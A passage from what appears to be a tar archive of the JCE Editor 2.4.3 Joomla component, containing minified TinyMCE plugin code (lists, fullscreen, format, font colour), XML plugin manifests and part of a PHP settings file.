t,w,s;t=b(u.lastChild);while(n(t)){w=t;t=b(w.previousSibling)}if(w){s=v.create("li",{style:"list-style-type: none;"});v.split(u,w);v.insertAfter(s,w);s.appendChild(w);s.appendChild(w);u=s.previousSibling}return u}function m(t,s,u){t=a(t,s,u);return o(t,s,u)}function a(u,s,v){var t=b(u.previousSibling);if(t){return h(t,u,s?t:false,v)}else{return u}}function o(u,t,v){var s=i(u.nextSibling);if(s){return h(u,s,t?s:false,v)}else{return u}}function h(u,s,t,v){if(l(u,s,!!t,v)){return f(u,s,t)}else{if(u&&u.tagName==="LI"&&n(s)){u.appendChild(s)}}return s}function l(u,t,s,v){if(!u||!t){return false}else{if(u.tagName==="LI"&&t.tagName==="LI"){return t.style.listStyleType==="none"||j(t)}else{if(n(u)){return(u.tagName===t.tagName&&(s||u.style.listStyleType===t.style.listStyleType))||q(t)}else{return v&&u.tagName==="P"&&t.tagName==="P"}}}}function q(t){var s=i(t.firstChild),u=b(t.lastChild);return s&&u&&n(t)&&s===u&&(n(s)||s.style.listStyleType==="none"||j(s))}function j(u){var t=i(u.firstChild),s=b(u.lastChild);return t&&s&&t===s&&n(t)}function f(w,v,s){var u=b(w.lastChild),t=i(v.firstChild);if(w.tagName==="P"){w.appendChild(w.ownerDocument.createElement("br"))}while(v.firstChild){w.appendChild(v.firstChild)}if(s){w.style.listStyleType=s.style.listStyleType}v.parentNode.removeChild(v);h(u,t,false);return w}function k(t,u){var s;if(!u.is(t,"li,ol,ul")){s=u.getParent(t,"li");if(s){t=s}}return t}tinymce.create("tinymce.plugins.Lists",{init:function(y){var v="TABBING";var s="EMPTY";var J="ESCAPE";var z="PARAGRAPH";var N="UNKNOWN";var x=N;function E(U){return U.keyCode===tinymce.VK.TAB&&!(U.altKey||U.ctrlKey)&&(y.queryCommandState("InsertUnorderedList")||y.queryCommandState("InsertOrderedList"))}function w(){var U=B();var W=U.parentNode.parentNode;var V=U.parentNode.lastChild===U;return V&&!t(W)&&P(U)}function t(U){if(n(U)){return U.parentNode&&U.parentNode.tagName==="LI"}else{return U.tagName==="LI"}}function F(){return y.selection.isCollapsed()&&P(B())}function B(){var U=y.selection.getStart();return((U.tagName=="BR"||U.tagName=="")&&U.parentNode.tagName=="LI")?U.parentNode:U}function P(U){var V=U.childNodes.length;if(U.tagName==="LI"){return V==0?true:V==1&&(U.firstChild.tagName==""||U.firstChild.tagName=="BR"||H(U))}return false}function H(U){var V=tinymce.grep(U.parentNode.childNodes,function(Y){return Y.tagName=="LI"});var W=U==V[V.length-1];var X=U.firstChild;return tinymce.isIE9&&W&&(X.nodeValue==String.fromCharCode(160)||X.nodeValue==String.fromCharCode(32))}function T(U){return U.keyCode===tinymce.VK.ENTER}function A(U){return T(U)&&!U.shiftKey}function M(U){if(E(U)){return v}else{if(A(U)&&w()){return N}else{if(A(U)&&F()){return s}else{return N}}}}function D(U,V){if(x==v||x==s||tinymce.isGecko&&x==J){r.cancel(V)}}function C(){var U=y.selection.getRng(true);var V=U.startContainer;if(V.nodeType==3){var W=V.nodeValue;if(tinymce.isIE9&&W.length>1&&W.charCodeAt(W.length-1)==32){return(U.endOffset==W.length-1)}else{return(U.endOffset==W.length)}}else{if(V.nodeType==1){return U.endOffset==V.childNodes.length}}return false}function I(){var W=y.selection.getNode();var V="h1,h2,h3,h4,h5,h6,p,div";var U=y.dom.is(W,V)&&W.parentNode.tagName==="LI"&&W.parentNode.lastChild===W;return y.selection.isCollapsed()&&U&&C()}function K(W,Y){if(A(Y)&&I()){var X=W.selection.getNode();var V=W.dom.create("li");var U=W.dom.getParent(X,"li");W.dom.insertAfter(V,U);if(tinymce.isIE6||tinymce.isIE7||tinyMCE.isIE8){W.selection.setCursorLocation(V,1)}else{W.selection.setCursorLocation(V,0)}Y.preventDefault()}}function u(X,Z){var ac;if(!tinymce.isGecko){return}var V=X.selection.getStart();if(Z.keyCode!=tinymce.VK.BACKSPACE||V.tagName!=="IMG"){return}function W(ag){var ah=ag.firstChild;var af=null;do{if(!ah){break}if(ah.tagName==="LI"){af=ah}}while(ah=ah.nextSibling);return af}function ae(ag,af){while(ag.childNodes.length>0){af.appendChild(ag.childNodes[0])}}ac=V.parentNode.previousSibling;if(!ac){return}var aa;if(ac.tagName==="UL"||ac.tagName==="OL"){aa=ac}else{if(ac.previousSibling&&(ac.previousSibling.tagName==="UL"||ac.previousSibling.tagName==="OL")){aa=ac.previousSibling}else{return}}var ad=W(aa);var U=X.dom.createRng();U.setStart(ad,1);U.setEnd(ad,1);X.selection.setRng(U);X.selection.collapse(true);var Y=X.selection.getBookmark();var ab=V.parentNode.cloneNode(true);if(ab.tagName==="P"||ab.tagName==="DIV"){ae(ab,ad)}else{ad.appendChild(ab)}V.parentNode.parentNode.removeChild(V.parentNode);X.selection.moveToBookmark(Y)}function G(U){var V=y.dom.getParent(U,"ol,ul");if(V!=null){var W=V.lastChild;y.selection.setCursorLocation(W,0)}}this.ed=y;y.addCommand("Indent",this.indent,this);y.addCommand("Outdent",this.outdent,this);y.addCommand("InsertUnorderedList",function(){this.applyList("UL","OL")},this);y.addCommand("InsertOrderedList",function(){this.applyList("OL","UL")},this);y.onInit.add(function(){y.editorCommands.addCommands({outdent:function(){var V=y.selection,W=y.dom;function U(X){X=W.getParent(X,W.isBlock);return X&&(parseInt(y.dom.getStyle(X,"margin-left")||0,10)+parseInt(y.dom.getStyle(X,"padding-left")||0,10))>0}return U(V.getStart())||U(V.getEnd())||y.queryCommandState("InsertOrderedList")||y.queryCommandState("InsertUnorderedList")}},"state")});y.onKeyUp.add(function(V,W){if(x==v){V.execCommand(W.shiftKey?"Outdent":"Indent",true,null);x=N;return r.cancel(W)}else{if(x==s){var U=B();var Y=V.settings.list_outdent_on_enter===true||W.shiftKey;V.execCommand(Y?"Outdent":"Indent",true,null);if(tinymce.isIE){G(U)}return r.cancel(W)}else{if(x==J){if(tinymce.isIE6||tinymce.isIE7||tinymce.isIE8){var X=V.getDoc().createTextNode("\uFEFF");V.selection.getNode().appendChild(X)}else{if(tinymce.isIE9||tinymce.isGecko){V.execCommand("Outdent");return r.cancel(W)}}}}}});function L(V,U){var W=y.getDoc().createTextNode("\uFEFF");V.insertBefore(W,U);y.selection.setCursorLocation(W,0);y.execCommand("mceRepaint")}function R(V,X){if(T(X)){var U=B();if(U){var W=U.parentNode;var Y=W&&W.parentNode;if(Y&&Y.nodeName=="LI"&&Y.firstChild==W&&U==W.firstChild){L(Y,W)}}}}function S(V,X){if(T(X)){var U=B();if(V.dom.select("ul li",U).length===1){var W=U.firstChild;L(U,W)}}}function Q(W,aa){function X(ab){var ad=[];var ae=new tinymce.dom.TreeWalker(ab.firstChild,ab);for(var ac=ae.current();ac;ac=ae.next()){if(W.dom.is(ac,"ol,ul,li")){ad.push(ac)}}return ad}if(aa.keyCode==tinymce.VK.BACKSPACE){var U=B();if(U){var Z=W.dom.getParent(U,"ol,ul"),V=W.selection.getRng();if(Z&&Z.firstChild===U&&V.startOffset==0){var Y=X(U);Y.unshift(U);W.execCommand("Outdent",false,Y);W.undoManager.add();return r.cancel(aa)}}}}function O(V,X){var U=B();if(X.keyCode===tinymce.VK.BACKSPACE&&V.dom.is(U,"li")&&U.parentNode.firstChild!==U){if(V.dom.select("ul,ol",U).length===1){var Z=U.previousSibling;V.dom.remove(V.dom.select("br",U));V.dom.remove(U,true);var W=tinymce.grep(Z.childNodes,function(aa){return aa.nodeType===3});if(W.length===1){var Y=W[0];V.selection.setCursorLocation(Y,Y.length)}V.undoManager.add();return r.cancel(X)}}}y.onKeyDown.add(function(U,V){x=M(V)});y.onKeyDown.add(D);y.onKeyDown.add(u);y.onKeyDown.add(K);if(tinymce.isGecko){y.onKeyUp.add(R)}if(tinymce.isIE8){y.onKeyUp.add(S)}if(tinymce.isGecko||tinymce.isWebKit){y.onKeyDown.add(Q)}if(tinymce.isWebKit){y.onKeyDown.add(O)}},applyList:function(y,v){var C=this,z=C.ed,I=z.dom,s=[],H=false,u=false,w=false,B,G=z.selection.getSelectedBlocks();function E(t){if(t&&t.tagName==="BR"){I.remove(t)}}function F(M){var N=I.create(y),t;function L(O){if(O.style.marginLeft||O.style.paddingLeft){C.adjustPaddingFunction(false)(O)}}if(M.tagName==="LI"){}else{if(M.tagName==="P"||M.tagName==="DIV"||M.tagName==="BODY"){K(M,function(P,O){J(P,O,M.tagName==="BODY"?null:P.parentNode);t=P.parentNode;L(t);E(O)});if(t){if(t.tagName==="LI"&&(M.tagName==="P"||G.length>1)){I.split(t.parentNode.parentNode,t.parentNode)}m(t.parentNode,true)}return}else{t=I.create("li");I.insertAfter(t,M);t.appendChild(M);L(M);M=t}}I.insertAfter(N,M);N.appendChild(M);m(N,true);s.push(M)}function J(P,L,N){var t,O=P,M;while(!I.isBlock(P.parentNode)&&P.parentNode!==I.getRoot()){P=I.split(P.parentNode,P.previousSibling);P=P.nextSibling;O=P}if(N){t=N.cloneNode(true);P.parentNode.insertBefore(t,P);while(t.firstChild){I.remove(t.firstChild)}t=I.rename(t,"li")}else{t=I.create("li");P.parentNode.insertBefore(t,P)}while(O&&O!=L){M=O.nextSibling;t.appendChild(O);O=M}if(t.childNodes.length===0){t.innerHTML='
    '}F(t)}function K(Q,T){var N,R,O=3,L=1,t="br,ul,ol,p,div,h1,h2,h3,h4,h5,h6,table,blockquote,address,pre,form,center,dl";function P(X,U){var V=I.createRng(),W;g.keep=true;z.selection.moveToBookmark(g);g.keep=false;W=z.selection.getRng(true);if(!U){U=X.parentNode.lastChild}V.setStartBefore(X);V.setEndAfter(U);return!(V.compareBoundaryPoints(O,W)>0||V.compareBoundaryPoints(L,W)<=0)}function S(U){if(U.nextSibling){return U.nextSibling}if(!I.isBlock(U.parentNode)&&U.parentNode!==I.getRoot()){return S(U.parentNode)}}N=Q.firstChild;var M=false;e(I.select(t,Q),function(U){if(U.hasAttribute&&U.hasAttribute("_mce_bogus")){return true}if(P(N,U)){I.addClass(U,"_mce_tagged_br");N=S(U)}});M=(N&&P(N,undefined));N=Q.firstChild;e(I.select(t,Q),function(V){var U=S(V);if(V.hasAttribute&&V.hasAttribute("_mce_bogus")){return true}if(I.hasClass(V,"_mce_tagged_br")){T(N,V,R);R=null}else{R=V}N=U});if(M){T(N,undefined,R)}}function D(t){K(t,function(M,L,N){J(M,L);E(L);E(N)})}function A(t){if(tinymce.inArray(s,t)!==-1){return}if(t.parentNode.tagName===v){I.split(t.parentNode,t);F(t);o(t.parentNode,false)}s.push(t)}function x(M){var O,N,L,t;if(tinymce.inArray(s,M)!==-1){return}M=c(M,I);while(I.is(M.parentNode,"ol,ul,li")){I.split(M.parentNode,M)}s.push(M);M=I.rename(M,"p");L=m(M,false,z.settings.force_br_newlines);if(L===M){O=M.firstChild;while(O){if(I.isBlock(O)){O=I.split(O.parentNode,O);t=true;N=O.nextSibling&&O.nextSibling.firstChild}else{N=O.nextSibling;if(t&&O.tagName==="BR"){I.remove(O)}t=false}O=N}}}e(G,function(t){t=k(t,I);if(t.tagName===v||(t.tagName==="LI"&&t.parentNode.tagName===v)){u=true}else{if(t.tagName===y||(t.tagName==="LI"&&t.parentNode.tagName===y)){H=true}else{w=true}}});if(w&&!H||u||G.length===0){B={LI:A,H1:F,H2:F,H3:F,H4:F,H5:F,H6:F,P:F,BODY:F,DIV:G.length>1?F:D,defaultAction:D,elements:this.selectedBlocks()}}else{B={defaultAction:x,elements:this.selectedBlocks(),processEvenIfEmpty:true}}this.process(B)},indent:function(){var u=this.ed,w=u.dom,x=[];function s(z){var y=w.create("li",{style:"list-style-type: none;"});w.insertAfter(y,z);return y}function t(B){var y=s(B),D=w.getParent(B,"ol,ul"),C=D.tagName,E=w.getStyle(D,"list-style-type"),A={},z;if(E!==""){A.style="list-style-type: "+E+";"}z=w.create(C,A);y.appendChild(z);return z}function v(z){if(!d(u,z,x)){z=c(z,w);var y=t(z);y.appendChild(z);m(y.parentNode,false);m(y,false);x.push(z)}}this.process({LI:v,defaultAction:this.adjustPaddingFunction(true),elements:this.selectedBlocks()})},outdent:function(y,x){var w=this,u=w.ed,z=u.dom,s=[];function A(t){var C,B,D;if(!d(u,t,s)){if(z.getStyle(t,"margin-left")!==""||z.getStyle(t,"padding-left")!==""){return w.adjustPaddingFunction(false)(t)}D=z.getStyle(t,"text-align",true);if(D==="center"||D==="right"){z.setStyle(t,"text-align","left");return}t=c(t,z);C=t.parentNode;B=t.parentNode.parentNode;if(B.tagName==="P"){z.split(B,t.parentNode)}else{z.split(C,t);if(B.tagName==="LI"){z.split(B,t)}else{if(!z.is(B,"ol,ul")){z.rename(t,"p")}}}s.push(t)}}var v=x&&tinymce.is(x,"array")?x:this.selectedBlocks();this.process({LI:A,defaultAction:this.adjustPaddingFunction(false),elements:v});e(s,m)},process:function(y){var F=this,w=F.ed.selection,z=F.ed.dom,E,u;function B(t){var s=tinymce.grep(t.childNodes,function(H){return!(H.nodeName==="BR"||H.nodeName==="SPAN"&&z.getAttrib(H,"data-mce-type")=="bookmark"||H.nodeType==3&&(H.nodeValue==String.fromCharCode(160)||H.nodeValue==""))});return s.length===0}function x(s){z.removeClass(s,"_mce_act_on");if(!s||s.nodeType!==1||!y.processEvenIfEmpty&&E.length>1&&B(s)){return}s=k(s,z);var t=y[s.tagName];if(!t){t=y.defaultAction}t(s)}function v(s){F.splitSafeEach(s.childNodes,x,true)}function C(s,t){return t>=0&&s.hasChildNodes()&&t0){t=s.shift();w.removeClass(t,"_mce_act_on");u(t);s=w.select("._mce_act_on")}},adjustPaddingFunction:function(u){var s,v,t=this.ed;s=t.settings.indentation;v=/[a-z%]+/i.exec(s);s=parseInt(s,10);return function(w){var y,x;y=parseInt(t.dom.getStyle(w,"margin-left")||0,10)+parseInt(t.dom.getStyle(w,"padding-left")||0,10);if(u){x=y+s}else{x=y-s}t.dom.setStyle(w,"padding-left","");t.dom.setStyle(w,"margin-left",x>0?x+v:"")}},selectedBlocks:function(){var s=this.ed,t=s.selection.getSelectedBlocks();return t.length==0?[s.dom.getRoot()]:t},getInfo:function(){return{longname:"Lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/lists",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("lists",tinymce.plugins.Lists)}());com_jce/editor/tiny_mce/plugins/fullscreen/fullscreen.xml000066600000001267150771500630017765 0ustar00 WF_FULLSCREEN_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FULLSCREEN_DESC fullscreen com_jce/editor/tiny_mce/plugins/fullscreen/index.html000066600000000054150771500630017067 0ustar00com_jce/editor/tiny_mce/plugins/fullscreen/editor_plugin.js000066600000013677150771500630020313 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM;var transferState=function(oldEditor,newEditor,bookmark){var transferColorButtonState=function(swapme){var c=oldEditor.controlManager.get(swapme);var newC=newEditor.controlManager.get(swapme);if(c&&newC){newC.displayColor(c.value);}};transferColorButtonState('forecolor');transferColorButtonState('backcolor');newEditor.setContent(oldEditor.getContent({format:'raw'}),{format:'raw'});newEditor.selection.moveToBookmark(bookmark);if(oldEditor.plugins.spellchecker&&newEditor.plugins.spellchecker){newEditor.plugins.spellchecker.setLanguage(oldEditor.plugins.spellchecker.selectedLang);}};tinymce.create('tinymce.plugins.FullScreenPlugin',{init:function(ed,url){var t=this,s={},de=DOM.doc.documentElement,vp,fullscreen_overflow,fullscreen_html_overflow,fullscreen_scrollx,fullscreen_scrolly,posCss,bookmark;ed.onFullScreen=new tinymce.util.Dispatcher();ed.addCommand('mceFullScreen',function(){var win,oed;if(ed.getParam('fullscreen_is_enabled')){if(ed.getParam('fullscreen_new_window')) closeFullscreen();else{DOM.win.setTimeout(function(){var fullscreenEditor=ed;var originalEditor=tinyMCE.get(fullscreenEditor.getParam('fullscreen_editor_id'));originalEditor.plugins.fullscreen.saveState(fullscreenEditor);originalEditor.onFullScreen.dispatch(originalEditor,false);tinyMCE.remove(fullscreenEditor);},10);} return;} if(ed.getParam('fullscreen_new_window')){t.fullscreenSettings={bookmark:ed.selection.getBookmark()};win=DOM.win.open(url+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{win.resizeTo(screen.availWidth,screen.availHeight);}catch(e){}}else{fullscreen_overflow=DOM.getStyle(DOM.doc.body,'overflow',1)||'auto';fullscreen_html_overflow=DOM.getStyle(de,'overflow',1);vp=DOM.getViewPort();fullscreen_scrollx=vp.x;fullscreen_scrolly=vp.y;if(tinymce.isOpera&&fullscreen_overflow=='visible') fullscreen_overflow='auto';if(tinymce.isIE&&fullscreen_overflow=='scroll') fullscreen_overflow='auto';if(tinymce.isIE&&(fullscreen_html_overflow=='visible'||fullscreen_html_overflow=='scroll')) fullscreen_html_overflow='auto';if(fullscreen_overflow=='0px') fullscreen_overflow='';DOM.setStyle(DOM.doc.body,'overflow','hidden');de.style.overflow='hidden';vp=DOM.getViewPort();DOM.win.scrollTo(0,0);if(vp.h<680){DOM.setStyle(DOM.doc.body,'overflow','auto');de.style.overflow='auto';} if(tinymce.isIE) vp.h-=1;if(tinymce.isIE6||document.compatMode=='BackCompat') posCss='absolute;top:'+vp.y;else posCss='fixed;top:0';n=DOM.add(DOM.doc.body,'div',{id:'mce_fullscreen_container',style:'position:'+posCss+';left:0;width:'+vp.w+'px;height:'+vp.h+'px;z-index:200000;'});DOM.add(n,'div',{id:'mce_fullscreen'});tinymce.each(ed.settings,function(v,n){s[n]=v;});s.id='mce_fullscreen';s.width=n.clientWidth;s.height=n.clientHeight-15;s.fullscreen_is_enabled=true;s.fullscreen_editor_id=ed.id;s.theme_advanced_resizing=false;s.save_onsavecallback=function(){ed.setContent(tinyMCE.get(s.id).getContent());ed.execCommand('mceSave');};tinymce.each(ed.getParam('fullscreen_settings'),function(v,k){s[k]=v;});var bookmark;try{bookmark=ed.selection.getBookmark();}catch(e){} t.fullscreenSettings={bookmark:bookmark,fullscreen_overflow:fullscreen_overflow,fullscreen_html_overflow:fullscreen_html_overflow,fullscreen_scrollx:fullscreen_scrollx,fullscreen_scrolly:fullscreen_scrolly};if(s.theme_advanced_toolbar_location==='external') s.theme_advanced_toolbar_location='top';tinyMCE.oldSettings=tinyMCE.settings;t.fullscreenEditor=new tinymce.Editor('mce_fullscreen',s);t.fullscreenEditor.onInit.add(function(){t.loadState(t.fullscreenEditor);});t.fullscreenEditor.render();t.fullscreenElement=new tinymce.dom.Element('mce_fullscreen_container');t.fullscreenElement.update();t.resizeFunc=tinymce.dom.Event.add(DOM.win,'resize',function(){var vp=tinymce.DOM.getViewPort(),fed=t.fullscreenEditor,outerSize,innerSize;outerSize=fed.dom.getSize(fed.getContainer().getElementsByTagName('table')[0]);innerSize=fed.dom.getSize(fed.getContainer().getElementsByTagName('iframe')[0]);fed.theme.resizeTo(vp.w-outerSize.w+innerSize.w,vp.h-outerSize.h+innerSize.h);});ed.onFullScreen.dispatch(t.fullscreenEditor,true);}});ed.addButton('fullscreen',{title:'fullscreen.desc',cmd:'mceFullScreen'});ed.onNodeChange.add(function(ed,cm){cm.setActive('fullscreen',ed.getParam('fullscreen_is_enabled'));});t.loadState=function(fullscreenEditor){if(!(fullscreenEditor&&t.fullscreenSettings)){throw"No fullscreen editor to load to";} transferState(ed,fullscreenEditor,t.fullscreenSettings.bookmark);fullscreenEditor.focus();};t.saveState=function(fullscreenEditor){if(!(fullscreenEditor&&t.fullscreenSettings)){throw"No fullscreen editor to restore from";} var settings=t.fullscreenSettings;var bookmark;try{bookmark=fullscreenEditor.selection.getBookmark();}catch(e){} transferState(fullscreenEditor,ed,bookmark);if(!ed.getParam('fullscreen_new_window')){tinymce.dom.Event.remove(DOM.win,'resize',t.resizeFunc);delete t.resizeFunc;DOM.remove('mce_fullscreen_container');DOM.doc.documentElement.style.overflow=settings.fullscreen_html_overflow;DOM.setStyle(DOM.doc.body,'overflow',settings.fullscreen_overflow);DOM.win.scrollTo(settings.fullscreen_scrollx,settings.fullscreen_scrolly);} tinyMCE.settings=tinyMCE.oldSettings;delete tinyMCE.oldSettings;delete t.fullscreenEditor;delete t.fullscreenElement;delete t.fullscreenSettings;DOM.win.setTimeout(function(){ed.selection.moveToBookmark(bookmark);ed.focus();},10);};},getInfo:function(){return{longname:'Fullscreen',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen',version:tinymce.majorVersion+"."+tinymce.minorVersion};}});tinymce.PluginManager.add('fullscreen',tinymce.plugins.FullScreenPlugin);})();com_jce/editor/tiny_mce/plugins/fullscreen/fullscreen.htm000066600000006454150771500630017760 0ustar00
    com_jce/editor/tiny_mce/plugins/format/classes/index.html000066600000000054150771500630017652 0ustar00com_jce/editor/tiny_mce/plugins/format/classes/config.php000066600000004232150771500630017635 0ustar00getParam('editor.inline_styles', 1, 1); // Paragraph handling $settings['forced_root_block'] = $wf->getParam('editor.forced_root_block', 'p', '', false); // set as boolean if disabled if (is_numeric($settings['forced_root_block'])) { $settings['forced_root_block'] = (bool) $settings['forced_root_block']; if ($wf->getParam('editor.force_br_newlines', 0, 0, 'boolean') === false) { // legacy $settings['force_p_newlines'] = $wf->getParam('editor.force_p_newlines', 1, 0, 'boolean'); } } if (strpos($settings['forced_root_block'], '|') !== false) { // multiple values $values = explode('|', $settings['forced_root_block']); foreach ($values as $value) { $kv = explode(':', $value); if (count($kv) == 2) { $settings[$kv[0]] = (bool) $kv[1]; } else { $settings['forced_root_block'] = (bool) $kv[0]; } } } $settings['removeformat_selector'] = $wf->getParam('editor.removeformat_selector', 'span,b,strong,em,i,font,u,strike', 'span,b,strong,em,i,font,u,strike'); // Relative urls $settings['relative_urls'] = $wf->getParam('editor.relative_urls', 1, 1, 'boolean'); if ($settings['relative_urls'] == 0) { $settings['remove_script_host'] = false; } } } ?> com_jce/editor/tiny_mce/plugins/format/index.html000066600000000054150771500630016215 0ustar00com_jce/editor/tiny_mce/plugins/format/editor_plugin.js000066600000011025150771500630017422 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var VK=tinymce.VK;var blocks='section,nav,article,aside,h1,h2,h3,h4,h5,h6,header,footer,address,main,p,pre,blockquote,figure,figcaption,div,dl,dt,dd';tinymce.create('tinymce.plugins.FormatPlugin',{init:function(ed,url){var self=this;this.editor=ed;function isBlock(n,s){s=s||blocks;return new RegExp('^('+s.replace(/,/g,'|')+')$','i').test(n.nodeName);} ed.onPreInit.add(function(ed){tinymce.each('aside figure dl'.split(/\s/),function(name){ed.formatter.register(name,{block:name,remove:'all',wrapper:true});});ed.formatter.register('div_container',{block:'div',remove:'all',wrapper:true});ed.formatter.register('span',{inline:'span',remove:'all'});ed.formatter.register('section',{block:'section',remove:'all',wrapper:true,merge_siblings:false});ed.formatter.register('article',{block:'article',remove:'all',wrapper:true,merge_siblings:false});});ed.settings.removeformat=[{selector:'b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q',remove:'all',split:true,expand:false,block_expand:true,deep:true}];ed.onKeyDown.add(function(ed,e){if((e.keyCode===VK.ENTER||e.keyCode===VK.UP)&&e.altKey){self._clearBlocks(ed,e);}});ed.onKeyUp.addToTop(function(ed,e){if(e.keyCode===VK.ENTER){var n=ed.selection.getNode();if(n.nodeName==='DIV'&&ed.settings.force_p_newlines){if(ed.settings.keep_styles===false){ed.dom.removeAllAttribs(n);} ed.formatter.apply('p');}}});ed.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){var se=ed.selection,n=se.getNode(),p;switch(cmd){case'FormatBlock':if(!v){o.terminate=true;if(n===ed.getBody()){return;} ed.undoManager.add();p=ed.dom.getParent(n,blocks)||'';if(p){ed.formatter.toggle(p.nodeName.toLowerCase());} var cm=ed.controlManager.get('formatselect');if(cm){cm.select(p);}} break;case'RemoveFormat':var s='p,div,address,pre,h1,h2,h3,h4,h5,h6,code,samp,span,section,article,aside,figure,dl,dt,dd';if(!v){if(isBlock(n,s)){ed.undoManager.add();p=ed.dom.getParent(n,blocks);if(p){ed.formatter.toggle(p.nodeName.toLowerCase());} var cm=ed.controlManager.get('formatselect');if(cm){cm.select(p);}}else{var cm=ed.controlManager.get('styleselect');if(cm&&cm.selectedValue){ed.formatter.remove(cm.selectedValue);}}} break;case'InsertHorizontalRule':if(n.nodeName==="P"){ed.execCommand('mceInsertContent',false,'
    ',{skip_undo:1});ed.undoManager.add();var ns=n.nextSibling,el,hr=ed.dom.get('mce-hr-marker');if(!ed.dom.isBlock(ns)){el=ed.getParam('forced_root_block')||'br';ns=ed.dom.create(el);if(el!=='br'){if(!tinymce.isIE||tinymce.isIE11){ns.innerHTML='
    ';}} ed.dom.insertAfter(ns,n);ed.selection.setCursorLocation(ns,0);}else{ed.selection.setCursorLocation(ns,ns.childNodes.length);} ed.dom.insertAfter(hr,n);ed.dom.setAttrib(hr,'id','');ed.nodeChanged();o.terminate=true;} break;}});ed.onExecCommand.add(function(ed,cmd,ui,v,o){var se=ed.selection,n=se.getNode();switch(cmd){case'FormatBlock':if(v==='dt'||v==='dd'){if(n&&n.nodeName!=='DL'){ed.formatter.apply('dl');}} break;}});ed.onPreInit.add(function(){function wrapList(node){var sibling=node.prev;if(node.parent&&node.parent.name==='dl'){return;} if(sibling&&(sibling.name==='dl'||sibling.name==='dl')){sibling.append(node);return;} sibling=node.next;if(sibling&&(sibling.name==='dl'||sibling.name==='dl')){sibling.insert(node,sibling.firstChild,true);return;} node.wrap(ed.parser.filterNode(new tinymce.html.Node('dl',1)));} ed.parser.addNodeFilter('dt,dd',function(nodes){for(var i=0,len=nodes.length;i1){var h=' ',tag=ed.getParam('forced_root_block');if(!tag&&ed.getParam('force_p_newlines')){tag='p';}else{tag='br';} e.preventDefault();var block=p[p.length-1];if(block===ed.getBody()){return;} var el=ed.dom.create(tag);if(tag==='br'){h='
    ';} ed.dom.setHTML(el,h);if(e.keyCode===VK.ENTER){ed.dom.insertAfter(el,block);}else{block.parentNode.insertBefore(el,block);} ed.selection.select(el);ed.selection.collapse(1);}},getInfo:function(){return{longname:'Format',author:'Ryan Demmer',authorurl:'http://www.joomlacontenteditor.net',infourl:'http://www.joomlacontenteditor.net',version:'2.4.3'};}});tinymce.PluginManager.add('format',tinymce.plugins.FormatPlugin);})();com_jce/editor/tiny_mce/plugins/fontcolor/fontcolor.xml000066600000002573150771500630017474 0ustar00 WF_FONTCOLOR_TITLE 2.4.3 11 September 2014 Ryan Demmer info@joomlacontenteditor.net http://www.joomlacontenteditor.net/ Ryan Demmer GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html WF_FONTCOLOR_DESC forecolor,backcolor com_jce/editor/tiny_mce/plugins/fontcolor/index.html000066600000000054150771500630016732 0ustar00com_jce/editor/tiny_mce/plugins/fontcolor/editor_plugin.js000066600000003547150771500630020151 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,explode=tinymce.explode;tinymce.create('tinymce.plugins.FontColorPlugin',{init:function(ed,url){var self=this;this.editor=ed;ed.onNodeChange.add(function(ed,cm,n){var s=ed.settings,c;function updateColor(controlId,color){if(c=cm.get(controlId)){if(!color) color=s.default_color;if(color!==c.value){c.displayColor(color);}}} if(s.theme_advanced_show_current_color){updateColor('forecolor',n.style.color);updateColor('backcolor',n.style.backgroundColor);}});},createControl:function(n,cf){switch(n){case"forecolor":return this._createForeColorMenu();break;case"backcolor":return this._createBackColorMenu();break;}},_createForeColorMenu:function(){var c,self=this,ed=self.editor,s=ed.settings,o={},v;o.more_colors_func=function(){ed.execCommand('mceColorPicker',false,{color:c.value,func:function(co){c.setColor(co);}});};if(v=s.theme_advanced_text_colors) o.colors=v;o.default_color=s.fontcolor_foreground_color||'#000000';o.title='advanced.forecolor_desc';o.cmd='ForeColor';o.scope=this;c=ed.controlManager.createColorSplitButton('forecolor',o);return c;},_createBackColorMenu:function(){var c,self=this,ed=self.editor,s=ed.settings,o={},v;o.more_colors_func=function(){ed.execCommand('mceColorPicker',false,{color:c.value,func:function(co){c.setColor(co);}});};if(v=s.theme_advanced_background_colors) o.colors=v;o.default_color=s.fontcolor_background_color||'#FFFF00';o.title='advanced.backcolor_desc';o.cmd='HiliteColor';o.scope=this;c=ed.controlManager.createColorSplitButton('backcolor',o);return c;}});tinymce.PluginManager.add('fontcolor',tinymce.plugins.FontColorPlugin);})();com_jce/editor/tiny_mce/plugins/importcss/index.html000066600000000054150771500630016750 0ustar00com_jce/editor/tiny_mce/plugins/importcss/editor_plugin.js000066600000007625150771500630020170 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - 